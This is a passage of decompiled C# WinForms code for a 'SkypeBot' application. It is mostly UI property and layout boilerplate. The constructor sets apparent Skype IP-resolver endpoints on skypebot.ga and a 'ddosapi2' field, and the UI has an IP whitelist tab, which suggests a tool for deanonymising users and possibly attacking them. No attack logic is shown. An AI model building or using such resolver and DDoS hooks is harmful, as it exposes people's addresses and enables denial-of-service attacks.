  1015.             {
  1016.                 return this._FlatLabel14;
  1017.             }
  1018.             [DebuggerNonUserCode]
  1019.             [MethodImpl(MethodImplOptions.Synchronized)]
  1020.             set
  1021.             {
  1022.                 this._FlatLabel14 = value;
  1023.             }
  1024.         }
  1025.         internal virtual CheckBox CheckBox6
  1026.         {
  1027.             [DebuggerNonUserCode]
  1028.             get
  1029.             {
  1030.                 return this._CheckBox6;
  1031.             }
  1032.             [DebuggerNonUserCode]
  1033.             [MethodImpl(MethodImplOptions.Synchronized)]
  1034.             set
  1035.             {
  1036.                 EventHandler value2 = new EventHandler(this.CheckBox6c);
  1037.                 bool flag = this._CheckBox6 != null;
  1038.                 if (flag)
  1039.                 {
  1040.                     this._CheckBox6.CheckedChanged -= value2;
  1041.                 }
  1042.                 this._CheckBox6 = value;
  1043.                 flag = (this._CheckBox6 != null);
  1044.                 if (flag)
  1045.                 {
  1046.                     this._CheckBox6.CheckedChanged += value2;
  1047.                 }
  1048.             }
  1049.         }
  1050.         internal virtual FlatLabel FlatLabel15
  1051.         {
  1052.             [DebuggerNonUserCode]
  1053.             get
  1054.             {
  1055.                 return this._FlatLabel15;
  1056.             }
  1057.             [DebuggerNonUserCode]
  1058.             [MethodImpl(MethodImplOptions.Synchronized)]
  1059.             set
  1060.             {
  1061.                 this._FlatLabel15 = value;
  1062.             }
  1063.         }
  1064.         internal virtual CheckBox CheckBox1
  1065.         {
  1066.             [DebuggerNonUserCode]
  1067.             get
  1068.             {
  1069.                 return this._CheckBox1;
  1070.             }
  1071.             [DebuggerNonUserCode]
  1072.             [MethodImpl(MethodImplOptions.Synchronized)]
  1073.             set
  1074.             {
  1075.                 EventHandler value2 = new EventHandler(this.CheckBox1_CheckedChanged);
  1076.                 bool flag = this._CheckBox1 != null;
  1077.                 if (flag)
  1078.                 {
  1079.                     this._CheckBox1.CheckedChanged -= value2;
  1080.                 }
  1081.                 this._CheckBox1 = value;
  1082.                 flag = (this._CheckBox1 != null);
  1083.                 if (flag)
  1084.                 {
  1085.                     this._CheckBox1.CheckedChanged += value2;
  1086.                 }
  1087.             }
  1088.         }
  1089.         internal virtual FlatLabel FlatLabel9
  1090.         {
  1091.             [DebuggerNonUserCode]
  1092.             get
  1093.             {
  1094.                 return this._FlatLabel9;
  1095.             }
  1096.             [DebuggerNonUserCode]
  1097.             [MethodImpl(MethodImplOptions.Synchronized)]
  1098.             set
  1099.             {
  1100.                 this._FlatLabel9 = value;
  1101.             }
  1102.         }
  1103.         internal virtual FlatGroupBox FlatGroupBox2
  1104.         {
  1105.             [DebuggerNonUserCode]
  1106.             get
  1107.             {
  1108.                 return this._FlatGroupBox2;
  1109.             }
  1110.             [DebuggerNonUserCode]
  1111.             [MethodImpl(MethodImplOptions.Synchronized)]
  1112.             set
  1113.             {
  1114.                 this._FlatGroupBox2 = value;
  1115.             }
  1116.         }
  1117.         internal virtual FlatButton Button5
  1118.         {
  1119.             [DebuggerNonUserCode]
  1120.             get
  1121.             {
  1122.                 return this._Button5;
  1123.             }
  1124.             [DebuggerNonUserCode]
  1125.             [MethodImpl(MethodImplOptions.Synchronized)]
  1126.             set
  1127.             {
  1128.                 EventHandler value2 = new EventHandler(this.Button5_Click);
  1129.                 bool flag = this._Button5 != null;
  1130.                 if (flag)
  1131.                 {
  1132.                     this._Button5.Click -= value2;
  1133.                 }
  1134.                 this._Button5 = value;
  1135.                 flag = (this._Button5 != null);
  1136.                 if (flag)
  1137.                 {
  1138.                     this._Button5.Click += value2;
  1139.                 }
  1140.             }
  1141.         }
  1142.         internal virtual FlatTextBox TextBox3
  1143.         {
  1144.             [DebuggerNonUserCode]
  1145.             get
  1146.             {
  1147.                 return this._TextBox3;
  1148.             }
  1149.             [DebuggerNonUserCode]
  1150.             [MethodImpl(MethodImplOptions.Synchronized)]
  1151.             set
  1152.             {
  1153.                 EventHandler value2 = new EventHandler(this.TextBox3_TextChanged);
  1154.                 bool flag = this._TextBox3 != null;
  1155.                 if (flag)
  1156.                 {
  1157.                     this._TextBox3.TextChanged -= value2;
  1158.                 }
  1159.                 this._TextBox3 = value;
  1160.                 flag = (this._TextBox3 != null);
  1161.                 if (flag)
  1162.                 {
  1163.                     this._TextBox3.TextChanged += value2;
  1164.                 }
  1165.             }
  1166.         }
  1167.         internal virtual NumericUpDown FlatNumeric1
  1168.         {
  1169.             [DebuggerNonUserCode]
  1170.             get
  1171.             {
  1172.                 return this._FlatNumeric1;
  1173.             }
  1174.             [DebuggerNonUserCode]
  1175.             [MethodImpl(MethodImplOptions.Synchronized)]
  1176.             set
  1177.             {
  1178.                 this._FlatNumeric1 = value;
  1179.             }
  1180.         }
  1181.         internal virtual FlatButton FlatButton3
  1182.         {
  1183.             [DebuggerNonUserCode]
  1184.             get
  1185.             {
  1186.                 return this._FlatButton3;
  1187.             }
  1188.             [DebuggerNonUserCode]
  1189.             [MethodImpl(MethodImplOptions.Synchronized)]
  1190.             set
  1191.             {
  1192.                 EventHandler value2 = new EventHandler(this.FlatButton3_Click);
  1193.                 bool flag = this._FlatButton3 != null;
  1194.                 if (flag)
  1195.                 {
  1196.                     this._FlatButton3.Click -= value2;
  1197.                 }
  1198.                 this._FlatButton3 = value;
  1199.                 flag = (this._FlatButton3 != null);
  1200.                 if (flag)
  1201.                 {
  1202.                     this._FlatButton3.Click += value2;
  1203.                 }
  1204.             }
  1205.         }
  1206.         internal virtual Panel Panel1
  1207.         {
  1208.             [DebuggerNonUserCode]
  1209.             get
  1210.             {
  1211.                 return this._Panel1;
  1212.             }
  1213.             [DebuggerNonUserCode]
  1214.             [MethodImpl(MethodImplOptions.Synchronized)]
  1215.             set
  1216.             {
  1217.                 this._Panel1 = value;
  1218.             }
  1219.         }
  1220.         internal virtual FlatLabel FlatLabel17
  1221.         {
  1222.             [DebuggerNonUserCode]
  1223.             get
  1224.             {
  1225.                 return this._FlatLabel17;
  1226.             }
  1227.             [DebuggerNonUserCode]
  1228.             [MethodImpl(MethodImplOptions.Synchronized)]
  1229.             set
  1230.             {
  1231.                 this._FlatLabel17 = value;
  1232.             }
  1233.         }
  1234.         internal virtual FlatLabel FlatLabel16
  1235.         {
  1236.             [DebuggerNonUserCode]
  1237.             get
  1238.             {
  1239.                 return this._FlatLabel16;
  1240.             }
  1241.             [DebuggerNonUserCode]
  1242.             [MethodImpl(MethodImplOptions.Synchronized)]
  1243.             set
  1244.             {
  1245.                 this._FlatLabel16 = value;
  1246.             }
  1247.         }
  1248.         internal virtual FlatLabel FlatLabel10
  1249.         {
  1250.             [DebuggerNonUserCode]
  1251.             get
  1252.             {
  1253.                 return this._FlatLabel10;
  1254.             }
  1255.             [DebuggerNonUserCode]
  1256.             [MethodImpl(MethodImplOptions.Synchronized)]
  1257.             set
  1258.             {
  1259.                 this._FlatLabel10 = value;
  1260.             }
  1261.         }
  1262.         internal virtual FlatButton Button13
  1263.         {
  1264.             [DebuggerNonUserCode]
  1265.             get
  1266.             {
  1267.                 return this._Button13;
  1268.             }
  1269.             [DebuggerNonUserCode]
  1270.             [MethodImpl(MethodImplOptions.Synchronized)]
  1271.             set
  1272.             {
  1273.                 this._Button13 = value;
  1274.             }
  1275.         }
  1276.         internal virtual FlatTextBox TextBox5
  1277.         {
  1278.             [DebuggerNonUserCode]
  1279.             get
  1280.             {
  1281.                 return this._TextBox5;
  1282.             }
  1283.             [DebuggerNonUserCode]
  1284.             [MethodImpl(MethodImplOptions.Synchronized)]
  1285.             set
  1286.             {
  1287.                 EventHandler value2 = new EventHandler(this.TextBox5_TextChanged);
  1288.                 bool flag = this._TextBox5 != null;
  1289.                 if (flag)
  1290.                 {
  1291.                     this._TextBox5.TextChanged -= value2;
  1292.                 }
  1293.                 this._TextBox5 = value;
  1294.                 flag = (this._TextBox5 != null);
  1295.                 if (flag)
  1296.                 {
  1297.                     this._TextBox5.TextChanged += value2;
  1298.                 }
  1299.             }
  1300.         }
  1301.         internal virtual FlatLabel FlatLabel11
  1302.         {
  1303.             [DebuggerNonUserCode]
  1304.             get
  1305.             {
  1306.                 return this._FlatLabel11;
  1307.             }
  1308.             [DebuggerNonUserCode]
  1309.             [MethodImpl(MethodImplOptions.Synchronized)]
  1310.             set
  1311.             {
  1312.                 this._FlatLabel11 = value;
  1313.             }
  1314.         }
  1315.         internal virtual FlatButton Button12
  1316.         {
  1317.             [DebuggerNonUserCode]
  1318.             get
  1319.             {
  1320.                 return this._Button12;
  1321.             }
  1322.             [DebuggerNonUserCode]
  1323.             [MethodImpl(MethodImplOptions.Synchronized)]
  1324.             set
  1325.             {
  1326.                 this._Button12 = value;
  1327.             }
  1328.         }
  1329.         internal virtual FlatTextBox TextBox4
  1330.         {
  1331.             [DebuggerNonUserCode]
  1332.             get
  1333.             {
  1334.                 return this._TextBox4;
  1335.             }
  1336.             [DebuggerNonUserCode]
  1337.             [MethodImpl(MethodImplOptions.Synchronized)]
  1338.             set
  1339.             {
  1340.                 EventHandler value2 = new EventHandler(this.TextBox4_TextChanged);
  1341.                 bool flag = this._TextBox4 != null;
  1342.                 if (flag)
  1343.                 {
  1344.                     this._TextBox4.TextChanged -= value2;
  1345.                 }
  1346.                 this._TextBox4 = value;
  1347.                 flag = (this._TextBox4 != null);
  1348.                 if (flag)
  1349.                 {
  1350.                     this._TextBox4.TextChanged += value2;
  1351.                 }
  1352.             }
  1353.         }
  1354.         internal virtual FlatLabel FlatLabel18
  1355.         {
  1356.             [DebuggerNonUserCode]
  1357.             get
  1358.             {
  1359.                 return this._FlatLabel18;
  1360.             }
  1361.             [DebuggerNonUserCode]
  1362.             [MethodImpl(MethodImplOptions.Synchronized)]
  1363.             set
  1364.             {
  1365.                 this._FlatLabel18 = value;
  1366.             }
  1367.         }
  1368.         internal virtual FlatLabel FlatLabel12
  1369.         {
  1370.             [DebuggerNonUserCode]
  1371.             get
  1372.             {
  1373.                 return this._FlatLabel12;
  1374.             }
  1375.             [DebuggerNonUserCode]
  1376.             [MethodImpl(MethodImplOptions.Synchronized)]
  1377.             set
  1378.             {
  1379.                 this._FlatLabel12 = value;
  1380.             }
  1381.         }
  1382.         internal virtual FlatButton Button14
  1383.         {
  1384.             [DebuggerNonUserCode]
  1385.             get
  1386.             {
  1387.                 return this._Button14;
  1388.             }
  1389.             [DebuggerNonUserCode]
  1390.             [MethodImpl(MethodImplOptions.Synchronized)]
  1391.             set
  1392.             {
  1393.                 this._Button14 = value;
  1394.             }
  1395.         }
  1396.         internal virtual FlatTextBox TextBox6
  1397.         {
  1398.             [DebuggerNonUserCode]
  1399.             get
  1400.             {
  1401.                 return this._TextBox6;
  1402.             }
  1403.             [DebuggerNonUserCode]
  1404.             [MethodImpl(MethodImplOptions.Synchronized)]
  1405.             set
  1406.             {
  1407.                 EventHandler value2 = new EventHandler(this.TextBox6_TextChanged);
  1408.                 bool flag = this._TextBox6 != null;
  1409.                 if (flag)
  1410.                 {
  1411.                     this._TextBox6.TextChanged -= value2;
  1412.                 }
  1413.                 this._TextBox6 = value;
  1414.                 flag = (this._TextBox6 != null);
  1415.                 if (flag)
  1416.                 {
  1417.                     this._TextBox6.TextChanged += value2;
  1418.                 }
  1419.             }
  1420.         }
  1421.         internal virtual FlatButton FlatButton4
  1422.         {
  1423.             [DebuggerNonUserCode]
  1424.             get
  1425.             {
  1426.                 return this._FlatButton4;
  1427.             }
  1428.             [DebuggerNonUserCode]
  1429.             [MethodImpl(MethodImplOptions.Synchronized)]
  1430.             set
  1431.             {
  1432.                 EventHandler value2 = new EventHandler(this.FlatButton4_Click);
  1433.                 bool flag = this._FlatButton4 != null;
  1434.                 if (flag)
  1435.                 {
  1436.                     this._FlatButton4.Click -= value2;
  1437.                 }
  1438.                 this._FlatButton4 = value;
  1439.                 flag = (this._FlatButton4 != null);
  1440.                 if (flag)
  1441.                 {
  1442.                     this._FlatButton4.Click += value2;
  1443.                 }
  1444.             }
  1445.         }
  1446.         internal virtual TabPage TabPage2
  1447.         {
  1448.             [DebuggerNonUserCode]
  1449.             get
  1450.             {
  1451.                 return this._TabPage2;
  1452.             }
  1453.             [DebuggerNonUserCode]
  1454.             [MethodImpl(MethodImplOptions.Synchronized)]
  1455.             set
  1456.             {
  1457.                 this._TabPage2 = value;
  1458.             }
  1459.         }
  1460.         internal virtual FlatLabel FlatLabel22
  1461.         {
  1462.             [DebuggerNonUserCode]
  1463.             get
  1464.             {
  1465.                 return this._FlatLabel22;
  1466.             }
  1467.             [DebuggerNonUserCode]
  1468.             [MethodImpl(MethodImplOptions.Synchronized)]
  1469.             set
  1470.             {
  1471.                 this._FlatLabel22 = value;
  1472.             }
  1473.         }
  1474.         internal virtual FlatTextBox FlatTextBox6
  1475.         {
  1476.             [DebuggerNonUserCode]
  1477.             get
  1478.             {
  1479.                 return this._FlatTextBox6;
  1480.             }
  1481.             [DebuggerNonUserCode]
  1482.             [MethodImpl(MethodImplOptions.Synchronized)]
  1483.             set
  1484.             {
  1485.                 this._FlatTextBox6 = value;
  1486.             }
  1487.         }
  1488.         internal virtual FlatLabel FlatLabel21
  1489.         {
  1490.             [DebuggerNonUserCode]
  1491.             get
  1492.             {
  1493.                 return this._FlatLabel21;
  1494.             }
  1495.             [DebuggerNonUserCode]
  1496.             [MethodImpl(MethodImplOptions.Synchronized)]
  1497.             set
  1498.             {
  1499.                 this._FlatLabel21 = value;
  1500.             }
  1501.         }
  1502.         internal virtual FlatTextBox FlatTextBox5
  1503.         {
  1504.             [DebuggerNonUserCode]
  1505.             get
  1506.             {
  1507.                 return this._FlatTextBox5;
  1508.             }
  1509.             [DebuggerNonUserCode]
  1510.             [MethodImpl(MethodImplOptions.Synchronized)]
  1511.             set
  1512.             {
  1513.                 this._FlatTextBox5 = value;
  1514.             }
  1515.         }
  1516.         internal virtual FlatLabel FlatLabel20
  1517.         {
  1518.             [DebuggerNonUserCode]
  1519.             get
  1520.             {
  1521.                 return this._FlatLabel20;
  1522.             }
  1523.             [DebuggerNonUserCode]
  1524.             [MethodImpl(MethodImplOptions.Synchronized)]
  1525.             set
  1526.             {
  1527.                 this._FlatLabel20 = value;
  1528.             }
  1529.         }
  1530.         internal virtual FlatTextBox FlatTextBox4
  1531.         {
  1532.             [DebuggerNonUserCode]
  1533.             get
  1534.             {
  1535.                 return this._FlatTextBox4;
  1536.             }
  1537.             [DebuggerNonUserCode]
  1538.             [MethodImpl(MethodImplOptions.Synchronized)]
  1539.             set
  1540.             {
  1541.                 this._FlatTextBox4 = value;
  1542.             }
  1543.         }
  1544.         internal virtual FlatLabel FlatLabel19
  1545.         {
  1546.             [DebuggerNonUserCode]
  1547.             get
  1548.             {
  1549.                 return this._FlatLabel19;
  1550.             }
  1551.             [DebuggerNonUserCode]
  1552.             [MethodImpl(MethodImplOptions.Synchronized)]
  1553.             set
  1554.             {
  1555.                 this._FlatLabel19 = value;
  1556.             }
  1557.         }
  1558.         internal virtual FlatLabel FlatLabel13
  1559.         {
  1560.             [DebuggerNonUserCode]
  1561.             get
  1562.             {
  1563.                 return this._FlatLabel13;
  1564.             }
  1565.             [DebuggerNonUserCode]
  1566.             [MethodImpl(MethodImplOptions.Synchronized)]
  1567.             set
  1568.             {
  1569.                 this._FlatLabel13 = value;
  1570.             }
  1571.         }
  1572.         internal virtual FlatTextBox FlatTextBox3
  1573.         {
  1574.             [DebuggerNonUserCode]
  1575.             get
  1576.             {
  1577.                 return this._FlatTextBox3;
  1578.             }
  1579.             [DebuggerNonUserCode]
  1580.             [MethodImpl(MethodImplOptions.Synchronized)]
  1581.             set
  1582.             {
  1583.                 this._FlatTextBox3 = value;
  1584.             }
  1585.         }
  1586.         internal virtual FlatLabel FlatLabel23
  1587.         {
  1588.             [DebuggerNonUserCode]
  1589.             get
  1590.             {
  1591.                 return this._FlatLabel23;
  1592.             }
  1593.             [DebuggerNonUserCode]
  1594.             [MethodImpl(MethodImplOptions.Synchronized)]
  1595.             set
  1596.             {
  1597.                 this._FlatLabel23 = value;
  1598.             }
  1599.         }
  1600.         internal virtual FlatButton FlatButton8
  1601.         {
  1602.             [DebuggerNonUserCode]
  1603.             get
  1604.             {
  1605.                 return this._FlatButton8;
  1606.             }
  1607.             [DebuggerNonUserCode]
  1608.             [MethodImpl(MethodImplOptions.Synchronized)]
  1609.             set
  1610.             {
  1611.                 this._FlatButton8 = value;
  1612.             }
  1613.         }
  1614.         internal virtual FlatButton FlatButton7
  1615.         {
  1616.             [DebuggerNonUserCode]
  1617.             get
  1618.             {
  1619.                 return this._FlatButton7;
  1620.             }
  1621.             [DebuggerNonUserCode]
  1622.             [MethodImpl(MethodImplOptions.Synchronized)]
  1623.             set
  1624.             {
  1625.                 this._FlatButton7 = value;
  1626.             }
  1627.         }
  1628.         internal virtual FlatButton FlatButton6
  1629.         {
  1630.             [DebuggerNonUserCode]
  1631.             get
  1632.             {
  1633.                 return this._FlatButton6;
  1634.             }
  1635.             [DebuggerNonUserCode]
  1636.             [MethodImpl(MethodImplOptions.Synchronized)]
  1637.             set
  1638.             {
  1639.                 this._FlatButton6 = value;
  1640.             }
  1641.         }
  1642.         internal virtual FlatButton FlatButton5
  1643.         {
  1644.             [DebuggerNonUserCode]
  1645.             get
  1646.             {
  1647.                 return this._FlatButton5;
  1648.             }
  1649.             [DebuggerNonUserCode]
  1650.             [MethodImpl(MethodImplOptions.Synchronized)]
  1651.             set
  1652.             {
  1653.                 this._FlatButton5 = value;
  1654.             }
  1655.         }
  1656.         internal virtual ListBox ListBox1
  1657.         {
  1658.             [DebuggerNonUserCode]
  1659.             get
  1660.             {
  1661.                 return this._ListBox1;
  1662.             }
  1663.             [DebuggerNonUserCode]
  1664.             [MethodImpl(MethodImplOptions.Synchronized)]
  1665.             set
  1666.             {
  1667.                 this._ListBox1 = value;
  1668.             }
  1669.         }
  1670.         internal virtual WebBrowser WebBrowser1
  1671.         {
  1672.             [DebuggerNonUserCode]
  1673.             get
  1674.             {
  1675.                 return this._WebBrowser1;
  1676.             }
  1677.             [DebuggerNonUserCode]
  1678.             [MethodImpl(MethodImplOptions.Synchronized)]
  1679.             set
  1680.             {
  1681.                 this._WebBrowser1 = value;
  1682.             }
  1683.         }
  1684.         public Form1()
  1685.         {
  1686.             base.Load += delegate(object a0, EventArgs a1)
  1687.             {
  1688.                 this.l();
  1689.             };
  1690.             base.Shown += delegate(object a0, EventArgs a1)
  1691.             {
  1692.                 this.fdsqf();
  1693.             };
  1694.             Form1.__ENCAddToList(this);
  1695.             this.state = 1;
  1696.             this.launched = false;
  1697.             this.banmsg = "You are banned, Sorry!";
  1698.             this.api = "";
  1699.             this.ddosapi2 = "";
  1700.             this.factory = new ChatterBotFactory();
  1701.             this.AIb = this.factory.Create(ChatterBotType.PANDORABOTS, "b0dafd24ee35a477");
  1702.             this.AISession = this.AIb.CreateSession();
  1703.             this.adminst = true;
  1704.             this.resapi = "http://skypebot.ga/apis/apis/resolve.php?u=";
  1705.             this.resapi2 = "http://skypebot.ga/apis/apis/resolve2.php?u=";
  1706.             this.cacheapi = "http://skypebot.ga/apis/apis/cached.php?u=";
  1707.             this.lockst = 0;
  1708.             this.Evaluator1 = new Evaluator();
  1709.             this.swag = false;
  1710.             Guid clsid = new Guid("830690FC-BF2F-47A6-AC2D-330BCB402664");
  1711.             this.Skypattach = (Skype)Activator.CreateInstance(Marshal.GetTypeFromCLSID(clsid));
  1712.             this.trigger = "!";
  1713.             this.InitializeComponent();
  1714.         }
  1715.         [DebuggerNonUserCode]
  1716.         private static void __ENCAddToList(object value)
  1717.         {
  1718.             List<WeakReference> _ENCList = Form1.__ENCList;
  1719.             bool flag = false;
  1720.             checked
  1721.             {
  1722.                 try
  1723.                 {
  1724.                     Monitor.Enter(_ENCList, ref flag);
  1725.                     bool flag2 = Form1.__ENCList.Count == Form1.__ENCList.Capacity;
  1726.                     if (flag2)
  1727.                     {
  1728.                         int num = 0;
  1729.                         int arg_44_0 = 0;
  1730.                         int num2 = Form1.__ENCList.Count - 1;
  1731.                         int num3 = arg_44_0;
  1732.                         while (true)
  1733.                         {
  1734.                             int arg_95_0 = num3;
  1735.                             int num4 = num2;
  1736.                             if (arg_95_0 > num4)
  1737.                             {
  1738.                                 break;
  1739.                             }
  1740.                             WeakReference weakReference = Form1.__ENCList[num3];
  1741.                             flag2 = weakReference.IsAlive;
  1742.                             if (flag2)
  1743.                             {
  1744.                                 bool flag3 = num3 != num;
  1745.                                 if (flag3)
  1746.                                 {
  1747.                                     Form1.__ENCList[num] = Form1.__ENCList[num3];
  1748.                                 }
  1749.                                 num++;
  1750.                             }
  1751.                             num3++;
  1752.                         }
  1753.                         Form1.__ENCList.RemoveRange(num, Form1.__ENCList.Count - num);
  1754.                         Form1.__ENCList.Capacity = Form1.__ENCList.Count;
  1755.                     }
  1756.                     Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
  1757.                 }
  1758.                 finally
  1759.                 {
  1760.                     bool flag3 = flag;
  1761.                     if (flag3)
  1762.                     {
  1763.                         Monitor.Exit(_ENCList);
  1764.                     }
  1765.                 }
  1766.             }
  1767.         }
  1768.         [DebuggerNonUserCode]
  1769.         protected override void Dispose(bool disposing)
  1770.         {
  1771.             try
  1772.             {
  1773.                 bool flag = disposing && this.components != null;
  1774.                 if (flag)
  1775.                 {
  1776.                     this.components.Dispose();
  1777.                 }
  1778.             }
  1779.             finally
  1780.             {
  1781.                 base.Dispose(disposing);
  1782.             }
  1783.         }
  1784.         [DebuggerStepThrough]
  1785.         private void InitializeComponent()
  1786.         {
  1787.             this.components = new Container();
  1788.             ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
  1789.             this.FormSkin1 = new FormSkin();
  1790.             this.FlatButton3 = new FlatButton();
  1791.             this.FlatLabel14 = new FlatLabel();
  1792.             this.FlatLabel1 = new FlatLabel();
  1793.             this.FlatButton1 = new FlatButton();
  1794.             this.FlatTabControl1 = new FlatTabControl();
  1795.             this.Settings = new TabPage();
  1796.             this.WebBrowser1 = new WebBrowser();
  1797.             this.FlatButton4 = new FlatButton();
  1798.             this.FlatNumeric1 = new NumericUpDown();
  1799.             this.FlatLabel9 = new FlatLabel();
  1800.             this.FlatGroupBox2 = new FlatGroupBox();
  1801.             this.Button5 = new FlatButton();
  1802.             this.TextBox3 = new FlatTextBox();
  1803.             this.CheckBox6 = new CheckBox();
  1804.             this.FlatLabel2 = new FlatLabel();
  1805.             this.FlatLabel7 = new FlatLabel();
  1806.             this.FlatLabel6 = new FlatLabel();
  1807.             this.FlatToggle2 = new FlatToggle();
  1808.             this.FlatToggle1 = new FlatToggle();
  1809.             this.FlatLabel3 = new FlatLabel();
  1810.             this.Button9 = new FlatButton();
  1811.             this.Button6 = new FlatButton();
  1812.             this.GroupBox1 = new FlatGroupBox();
  1813.             this.Button4 = new FlatButton();
  1814.             this.Button2 = new FlatButton();
  1815.             this.Button1 = new FlatButton();
  1816.             this.TextBox1 = new TextBox();
  1817.             this.FlatGroupBox1 = new FlatGroupBox();
  1818.             this.TextBox2 = new FlatTextBox();
  1819.             this.Button3 = new FlatButton();
  1820.             this.Button7 = new FlatButton();
  1821.             this.CheckBox1 = new CheckBox();
  1822.             this.FlatLabel15 = new FlatLabel();
  1823.             this.Log = new TabPage();
  1824.             this.ListBox1 = new ListBox();
  1825.             this.Admins = new TabPage();
  1826.             this.Panel1 = new Panel();
  1827.             this.FlatLabel18 = new FlatLabel();
  1828.             this.FlatLabel12 = new FlatLabel();
  1829.             this.Button14 = new FlatButton();
  1830.             this.TextBox6 = new FlatTextBox();
  1831.             this.FlatLabel17 = new FlatLabel();
  1832.             this.FlatLabel16 = new FlatLabel();
  1833.             this.FlatLabel10 = new FlatLabel();
  1834.             this.Button13 = new FlatButton();
  1835.             this.TextBox5 = new FlatTextBox();
  1836.             this.FlatLabel11 = new FlatLabel();
  1837.             this.Button12 = new FlatButton();
  1838.             this.TextBox4 = new FlatTextBox();
  1839.             this.IPWhitelist = new TabPage();
  1840.             this.FlatLabel8 = new FlatLabel();
  1841.             this.Button15 = new FlatButton();
  1842.             this.TextBox7 = new FlatTextBox();
  1843.             this.TabPage1 = new TabPage();
  1844.             this.FlatButton2 = new FlatButton();
  1845.             this.FlatTextBox2 = new FlatTextBox();
  1846.             this.FlatLabel5 = new FlatLabel();
  1847.             this.FlatTextBox1 = new FlatTextBox();
  1848.             this.FlatLabel4 = new FlatLabel();
  1849.             this.TabPage2 = new TabPage();
  1850.             this.FlatLabel23 = new FlatLabel();
  1851.             this.FlatButton8 = new FlatButton();
  1852.             this.FlatButton7 = new FlatButton();
  1853.             this.FlatButton6 = new FlatButton();
  1854.             this.FlatButton5 = new FlatButton();
  1855.             this.FlatLabel22 = new FlatLabel();
  1856.             this.FlatTextBox6 = new FlatTextBox();
  1857.             this.FlatLabel21 = new FlatLabel();
  1858.             this.FlatTextBox5 = new FlatTextBox();
  1859.             this.FlatLabel20 = new FlatLabel();
  1860.             this.FlatTextBox4 = new FlatTextBox();
  1861.             this.FlatLabel19 = new FlatLabel();
  1862.             this.FlatLabel13 = new FlatLabel();
  1863.             this.FlatTextBox3 = new FlatTextBox();
  1864.             this.Button10 = new FlatButton();
  1865.             this.NFI = new NotifyIcon(this.components);
  1866.             this.FlatContextMenuStrip1 = new FlatContextMenuStrip();
  1867.             this.ShowHideToolStripMenuItem1 = new ToolStripMenuItem();
  1868.             this.ExitToolStripMenuItem1 = new ToolStripMenuItem();
  1869.             this.FormSkin1.SuspendLayout();
  1870.             this.FlatTabControl1.SuspendLayout();
  1871.             this.Settings.SuspendLayout();
  1872.             ((ISupportInitialize)this.FlatNumeric1).BeginInit();
  1873.             this.FlatGroupBox2.SuspendLayout();
  1874.             this.GroupBox1.SuspendLayout();
  1875.             this.FlatGroupBox1.SuspendLayout();
  1876.             this.Log.SuspendLayout();
  1877.             this.Admins.SuspendLayout();
  1878.             this.Panel1.SuspendLayout();
  1879.             this.IPWhitelist.SuspendLayout();
  1880.             this.TabPage1.SuspendLayout();
  1881.             this.TabPage2.SuspendLayout();
  1882.             this.FlatContextMenuStrip1.SuspendLayout();
  1883.             this.SuspendLayout();
  1884.             this.FormSkin1.BackColor = Color.White;
  1885.             this.FormSkin1.BaseColor = Color.FromArgb(24, 24, 24);
  1886.             this.FormSkin1.BorderColor = Color.FromArgb(24, 24, 24);
  1887.             this.FormSkin1.Controls.Add(this.FlatButton3);
  1888.             this.FormSkin1.Controls.Add(this.FlatLabel14);
  1889.             this.FormSkin1.Controls.Add(this.FlatLabel1);
  1890.             this.FormSkin1.Controls.Add(this.FlatButton1);
  1891.             this.FormSkin1.Controls.Add(this.FlatTabControl1);
  1892.             this.FormSkin1.Controls.Add(this.Button10);
  1893.             this.FormSkin1.Dock = DockStyle.Fill;
  1894.             this.FormSkin1.FlatColor = Color.FromArgb(211, 211, 211);
  1895.             this.FormSkin1.Font = new Font("Segoe UI", 12f);
  1896.             this.FormSkin1.HeaderColor = Color.FromArgb(30, 30, 30);
  1897.             this.FormSkin1.HeaderMaximize = false;
  1898.             Control arg_5D7_0 = this.FormSkin1;
  1899.             Point location = new Point(0, 0);
  1900.             arg_5D7_0.Location = location;
  1901.             this.FormSkin1.Name = "FormSkin1";
  1902.             Control arg_608_0 = this.FormSkin1;
  1903.             Size size = new Size(759, 611);
  1904.             arg_608_0.Size = size;
  1905.             this.FormSkin1.TabIndex = 1;
  1906.             this.FormSkin1.Text = "SkypeBot";
  1907.             this.FlatButton3.BackColor = Color.Transparent;
  1908.             this.FlatButton3.BaseColor = Color.FromArgb(30, 30, 30);
  1909.             this.FlatButton3.Cursor = Cursors.Hand;
  1910.             this.FlatButton3.Font = new Font("Segoe UI", 12f);
  1911.             Control arg_695_0 = this.FlatButton3;
  1912.             location = new Point(724, 4);
  1913.             arg_695_0.Location = location;
  1914.             this.FlatButton3.Name = "FlatButton3";
  1915.             this.FlatButton3.Rounded = false;
  1916.             Control arg_6CD_0 = this.FlatButton3;
  1917.             size = new Size(30, 33);
  1918.             arg_6CD_0.Size = size;
  1919.             this.FlatButton3.TabIndex = 34;
  1920.             this.FlatButton3.Text = "X";
  1921.             this.FlatButton3.TextColor = Color.FromArgb(211, 211, 211);
  1922.             this.FlatLabel14.AutoSize = true;
  1923.             this.FlatLabel14.BackColor = Color.Transparent;
  1924.             this.FlatLabel14.Font = new Font("Segoe UI", 8f);
  1925.             this.FlatLabel14.ForeColor = Color.FromArgb(211, 211, 211);
  1926.             Control arg_781_0 = this.FlatLabel14;
  1927.             location = new Point(583, 9);
  1928.             arg_781_0.Location = location;
  1929.             this.FlatLabel14.Name = "FlatLabel14";
  1930.             Control arg_7AC_0 = this.FlatLabel14;
  1931.             size = new Size(44, 13);
  1932.             arg_7AC_0.Size = size;
  1933.             this.FlatLabel14.TabIndex = 33;
  1934.             this.FlatLabel14.Text = "version";
  1935.             this.FlatLabel1.AutoSize = true;
  1936.             this.FlatLabel1.BackColor = Color.Transparent;
  1937.             this.FlatLabel1.Font = new Font("Segoe UI", 8f);
  1938.             this.FlatLabel1.ForeColor = Color.FromArgb(211, 211, 211);
  1939.             Control arg_83D_0 = this.FlatLabel1;
  1940.             location = new Point(105, 24);
  1941.             arg_83D_0.Location = location;
  1942.             this.FlatLabel1.Name = "FlatLabel1";
  1943.             Control arg_86B_0 = this.FlatLabel1;
  1944.             size = new Size(312, 13);
  1945.             arg_86B_0.Size = size;
  1946.             this.FlatLabel1.TabIndex = 18;
  1947.             this.FlatLabel1.Text = "Something went wrong! Please be patient to see the MOTD";
  1948.             this.FlatButton1.BackColor = Color.Transparent;
  1949.             this.FlatButton1.BaseColor = Color.FromArgb(30, 30, 30);
  1950.             this.FlatButton1.Cursor = Cursors.Hand;
  1951.             this.FlatButton1.Font = new Font("Segoe UI", 12f);
